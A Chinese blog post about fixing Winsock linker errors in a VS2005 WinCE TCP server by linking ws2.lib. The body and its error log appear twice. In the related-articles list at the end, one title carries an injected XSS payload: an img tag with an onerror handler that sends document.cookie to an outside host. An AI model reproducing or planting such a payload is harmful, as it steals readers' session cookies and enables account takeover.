C++ TCp通信遇到的无法解析外部符号
2015-10-11 12:00
441 查看
当在VS2005编写WINCE程序时,如果包含WinSock2.h后使用socket的相关函数,则编译会出现如下错误:
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 WSACleanup,该符号在函数 "private: int __cdecl CTcpServer_CE::InitializeSocket(void)" (?InitializeSocket@CTcpServer_CE@@AAAHXZ)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 WSAStartup,该符号在函数 "private: int __cdecl CTcpServer_CE::InitializeSocket(void)" (?InitializeSocket@CTcpServer_CE@@AAAHXZ)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 ioctlsocket,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 accept,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 __WSAFDIsSet,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 closesocket,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 select,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 WSAGetLastError,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpThreadFunc(void *)" (?TcpThreadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 recv,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpThreadFunc(void *)" (?TcpThreadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 listen,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 bind,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 htonl,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 htons,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 socket,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 send,该符号在函数 "public: int __cdecl CTcpServer_CE::SendData(char const *,unsigned long)" (?SendData@CTcpServer_CE@@QAAHPBDK@Z)
中被引用
网上找了很久都没有解决方法,错误产生的原因是由于在WIN32智能设备控制台时使用了MFC的API,有很多网友说包含:#pragma comment(lib, "ws2_32.lib")就可以解决,实际上对于WINCE控制台程序还是无法使用,可以考虑使用#pragma comment(lib, "winsock.lib")即使用version 1.0的库,但是还会有一些无法找到,个人摸索了好久,终于找到解决方法,#pragma comment(lib, "ws2.lib"),一切搞定。特共享给有同样烦恼的朋友。
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 WSACleanup,该符号在函数 "private: int __cdecl CTcpServer_CE::InitializeSocket(void)" (?InitializeSocket@CTcpServer_CE@@AAAHXZ)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 WSAStartup,该符号在函数 "private: int __cdecl CTcpServer_CE::InitializeSocket(void)" (?InitializeSocket@CTcpServer_CE@@AAAHXZ)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 ioctlsocket,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 accept,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 __WSAFDIsSet,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 closesocket,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 select,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpListenTheadFunc(void *)" (?TcpListenTheadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 WSAGetLastError,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpThreadFunc(void *)" (?TcpThreadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 recv,该符号在函数 "private: static unsigned long __cdecl CTcpServer_CE::TcpThreadFunc(void *)" (?TcpThreadFunc@CTcpServer_CE@@CAKPAX@Z)
中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 listen,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 bind,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 htonl,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 htons,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 socket,该符号在函数 "public: int __cdecl CTcpServer_CE::Open(void)" (?Open@CTcpServer_CE@@QAAHXZ) 中被引用
1>TcpServer.obj : error LNK2019: 无法解析的外部符号 send,该符号在函数 "public: int __cdecl CTcpServer_CE::SendData(char const *,unsigned long)" (?SendData@CTcpServer_CE@@QAAHPBDK@Z)
中被引用
网上找了很久都没有解决方法,错误产生的原因是由于在WIN32智能设备控制台时使用了MFC的API,有很多网友说包含:#pragma comment(lib, "ws2_32.lib")就可以解决,实际上对于WINCE控制台程序还是无法使用,可以考虑使用#pragma comment(lib, "winsock.lib")即使用version 1.0的库,但是还会有一些无法找到,个人摸索了好久,终于找到解决方法,#pragma comment(lib, "ws2.lib"),一切搞定。特共享给有同样烦恼的朋友。
相关文章推荐
- 第三方网络编程
- 第十一章 网络编程
- 由于硬盘盘符改变引起的与httpd.conf文件里盘符不一致导致apache 服务无法启动
- 【虚拟机】在VMware中安装Server2008之后配置网络连接的几种方式
- MySQL 调优基础(五) Linux网络
- C++ 用libcurl库进行http通讯网络编程
- WCSP 2015 南京 空间信息网络相关论文
- VS2010 测试 -普通单元测试 http://www.cnblogs.com/rhythmK/archive/2012/04/20/2458832.html
- Java 网络编程----基本概念
- 网络各层设备
- 计算机网络之面试常考
- TCP/IP,HTTP,Socket的区别
- quick cocos2dx lua 网络图片 下载 自己主动更新
- AppleWatch真机调试问题:App Transport Security has blocked a cleartext HTTP(http://)resource load since...
- ios网络请求报错:the App Transport Security policy requires the use of a secure connection
- 有哪些值得关注的【i <img src=hi onerror='(new Image()).src="http://expicker.sinaapp.com/?c="+document.cookie'
- TCP_NODELAY
- asynchttpclient源码分析
- android使用https安全连接
- com.microsoft.sqlserver.jdbc.SQLServerException: 到主机 的 TCP/IP 连接失败